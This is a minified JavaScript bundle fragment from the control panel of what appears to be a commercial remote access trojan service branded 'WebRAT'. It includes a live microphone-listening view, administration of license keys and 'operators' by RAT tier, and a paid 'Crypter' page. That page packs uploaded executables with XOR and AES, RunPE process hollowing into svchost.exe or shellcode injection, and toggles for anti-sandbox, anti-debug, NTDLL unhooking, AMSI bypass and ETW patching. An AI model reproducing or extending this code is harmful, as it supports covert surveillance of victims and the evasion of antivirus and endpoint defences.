0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const XU=4294967295;function ZU(e){return e>=XU-86400}function up(e){return ZU(e)?"Never":new Date(e*1e3).toLocaleString()}function v2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function QU({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function JU(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState(null),[E,T]=p.useState(null),[P,U]=p.useState("30d"),[K,$]=p.useState(!1),[L,F]=p.useState(null),[W,H]=p.useState("rat"),[B,q]=p.useState(!1),X=p.useCallback(async()=>{try{const C=await ME();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),se=p.useCallback(async()=>{try{const C=await DE();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([X(),se()]).finally(()=>l(!1))},[X,se]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const A=await LE({duration:m,max_agents:parseInt(x)||0,tier:y});k(A.key),N(!1),await X()}catch(A){u(A instanceof Error?A.message:"Failed to generate key")}finally{w(!1)}},fe=async C=>{u("");try{await IE(C),O(null),await X()}catch(A){u(A instanceof Error?A.message:"Failed to revoke key")}},me=async()=>{if(E){$(!0),u("");try{await RE(E.id,P),T(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{$(!1)}}},Y=async()=>{if(L){q(!0),u("");try{await $E(L.id,W),F(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{q(!1)}}},te=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:X,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(v2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:up(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:up(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>fe(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:se,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(QU,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(v2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?up(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{T(C),U("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(C),H(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),E&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:E.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>U(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>U(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:me,disabled:K,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:K?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),L&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:L.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>H("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${W==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>H("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${W==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:B,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:B?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function eV(){const{isAdmin:e}=Za(),n=Uj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[O,E]=p.useState(""),[T,P]=p.useState(!1),U=p.useRef(null),K=p.useCallback(L=>{L.preventDefault(),P(!1);const F=L.dataTransfer.files[0];F&&i(F)},[]),$=p.useCallback(async()=>{if(!(!r||k)){S(!0),E(""),z(5);try{const L=new FormData;L.append("file",r),L.append("mode",a),L.append("target_process",l),L.append("sleep_seconds",u.toString()),L.append("anti_sandbox",f.toString()),L.append("anti_debug",h.toString()),L.append("unhook_ntdll",g.toString()),L.append("amsi_bypass",v.toString()),L.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(q=>Math.min(q+5,85))},2e3),W=await TE(L);clearInterval(F),z(100);const H=URL.createObjectURL(W),B=document.createElement("a");B.href=H,B.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(B),B.click(),document.body.removeChild(B),URL.revokeObjectURL(H),setTimeout(()=>z(0),2e3)}catch(L){E(L.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${T?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:L=>{L.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:K,onClick:()=>{var L;return(L=U.current)==null?void 0:L.click()},children:[s.jsx("input",{ref:U,type:"file",accept:".exe",className:"hidden",onChange:L=>{var W;const F=(W=L.target.files)==null?void 0:W[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:L=>c(L.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:L=>d(Math.max(0,parseInt(L.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:L,label:F,desc:W,value:H,set:B})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${H?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:H,onChange:q=>B(q.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:W})]})]},L))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:$,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),O&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:O})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(it,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function tV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const nV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially 